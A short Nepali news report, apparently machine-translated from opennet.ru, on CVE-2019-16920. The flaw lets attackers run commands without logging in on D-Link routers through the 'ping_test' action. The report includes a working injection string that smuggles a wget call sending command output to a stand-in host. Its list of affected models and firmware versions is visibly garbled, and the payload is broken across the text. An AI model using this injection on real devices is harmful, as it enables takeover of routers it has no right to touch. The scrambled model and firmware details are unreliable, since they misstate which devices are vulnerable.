D-Link राउटरहरूमा टाढाबाट शोषणयोग्य जोखिम

D-Link वायरलेस राउटरहरूमा पहिचान गरियो खतरनाक जोखिम (CVE-2019-16920), जसले तपाइँलाई "ping_test" ह्यान्डलरलाई विशेष अनुरोध पठाएर यन्त्र छेउमा टाढाबाट कोड कार्यान्वयन गर्न अनुमति दिन्छ, प्रमाणीकरण बिना पहुँचयोग्य।

चाखलाग्दो कुरा के छ भने, फर्मवेयर विकासकर्ताहरूका अनुसार, "ping_test" कल प्रमाणीकरण पछि मात्र कार्यान्वयन गरिनु पर्छ, तर वास्तवमा यो कुनै पनि अवस्थामा बोलाइन्छ, वेब इन्टरफेसमा लगइन नगरी। विशेष गरी, Apply_sec.cgi स्क्रिप्ट पहुँच गर्दा र "action=ping_test" प्यारामिटर पास गर्दा, स्क्रिप्टले प्रमाणीकरण पृष्ठमा रिडिरेक्ट गर्छ, तर एकै समयमा ping_test सँग सम्बन्धित कार्य गर्दछ। कोड कार्यान्वयन गर्न, अर्को कमजोरी ping_test मा प्रयोग गरिएको थियो, जसले परीक्षणको लागि पठाइएको IP ठेगानाको शुद्धता जाँच नगरी पिंग उपयोगितालाई कल गर्दछ। उदाहरणका लागि, wget उपयोगितालाई कल गर्न र "echo 1234" आदेशको परिणामहरू बाह्य होस्टमा स्थानान्तरण गर्न, केवल "ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// मापदण्ड निर्दिष्ट गर्नुहोस्। test.test/?$( echo 1234)"।

निम्न मोडेलहरूमा जोखिमको उपस्थिति आधिकारिक रूपमा पुष्टि गरिएको छ:

• फर्मवेयर 655b3.02 वा पुरानो संग DIR-05;
• फर्मवेयर 866b1.03 वा पुरानो संग DIR-04L;
• फर्मवेयर 1565 वा पुरानो संग DIR-1.01;
• DIR-652 (समस्याग्रस्त फर्मवेयर संस्करणहरूको बारेमा कुनै जानकारी प्रदान गरिएको छैन)

यी मोडेलहरूको लागि समर्थन अवधि पहिले नै समाप्त भएको छ, त्यसैले D-Link भन्यो, जसले तिनीहरूलाई कमजोरी हटाउनको लागि अद्यावधिकहरू जारी गर्दैन, तिनीहरूलाई प्रयोग गर्न सिफारिस गर्दैन र तिनीहरूलाई नयाँ यन्त्रहरूसँग प्रतिस्थापन गर्न सल्लाह दिन्छ। सुरक्षा उपायको रूपमा, तपाइँ वेब इन्टरफेसमा पहुँचलाई विश्वसनीय IP ठेगानाहरूमा मात्र सीमित गर्न सक्नुहुन्छ।

यो पछि पत्ता लाग्यो कि कमजोरी पनि थियो असर गर्छ मोडेलहरू DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 र DIR-825, अद्यावधिकहरू जारी गर्ने योजनाहरू जसका लागि अझै थाहा छैन।

स्रोत: opennet.ru